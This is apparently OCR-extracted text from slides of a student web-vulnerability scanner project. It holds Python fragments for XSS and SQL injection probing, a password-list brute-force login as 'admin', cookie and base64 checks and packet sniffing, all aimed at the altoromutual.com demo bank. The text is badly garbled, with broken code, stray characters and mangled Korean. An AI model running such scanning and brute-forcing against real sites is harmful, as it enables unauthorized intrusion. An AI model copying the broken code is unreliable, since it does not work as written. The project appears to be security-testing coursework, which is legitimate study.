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X55(url): sqlInjection{url):

target url, method = getForm{url) target url —url+”

insert_data
if method ==

]se
. get(target_url, params=insert_data}.text

ript>"
result_list[ "sql_info' ]=target_url

r‘ESUlt_liEt[ , - result list[

result list[ info’ ]=target_url result_list[
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Brute Force

def CSRF(url): def bruteForce(url):
tanget_url =ur ' target _url =urls"/
session = . ( session =

password = password_list.readlines()

1
F" for psword in password:
e5= i
. 1355 d = ps strip
target_url = url+™/s passwWordd = psword.strip()
login_info ={
"'uid”:"admin”,

": passwordd,

content=session.post({target url, data=login info).text
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cookie(url):
target wurl =url+”
session = reqgues

.get(target_url,
= res.headers[

ssion{) as
et(target url, data=login_info)

.post{target_url, data=login_info)
session.cookies

cookie in cookiejar:
if cookie.secure == Fal
result cookie_ secur

else

result cookie

1T C:j-Dk‘l-E.E}{plr“ES '-' = B ) :.; PEdir‘EEt{UP].:II:

result cookie .
else target_url =url+"/do




2ot Ho|E =&

result 1ist['base6dvul’'] = "'
for 1 in range(len(cookieValue)):
data_bin=base64.b64decode(cookieValue[i])
if isinstance(data bin, str ): sniffing():
result list['basesdVul'] = result list['base64vul'] + data bin sniff(1filter-showbacket, timeout=6)

result list['base64Vul’] = result list['basetdVul'] + str(data_bin)

login_info ={
‘uid” : "admin™,

requests.post(target_url, data=login_info)
pk = raw(packet)
strpk = str(pk)
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im] D localhost:3000 x B

e

C @A @ localhost:3000

http://naver.com

localhost:30002| M| A| X]|

2022 3 20f FAE = JASUCH

239 2|7t Hf| o] x|

Password

2191 5 MH|AE 0|8
SETEL

Password
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XSS http://altoromutual.com:8080/search.jsp
SQL INJECTION http://altoromutual.com:8080/doLagin

CSRF http://altoromutual.com:8080/sendFeedback
BruteForce http://altoromutual.com:8080/doLogin
Plaintext HitpsZ2E =2

Cookie secure,expire EER

Sniffing

Session

Local Encryption b'800000~Corporate~5.239478361E7|800001~Checking~93820.44|800002 ~Savings~10005.42|800003 ~Checking ~14999.39|800004 ~Savings~10.0|800005~Checking~25.0|800006~ Savi
ng~150.0/4539082039396288~Credit Card~109.92|4485983356242217~Credit Card~10000.97|'h"#xec D¥x13a¥x02Wx03%xb0;Wxf7#xdelixectx0evitx07 A}xd8ix 10;Wx 004’
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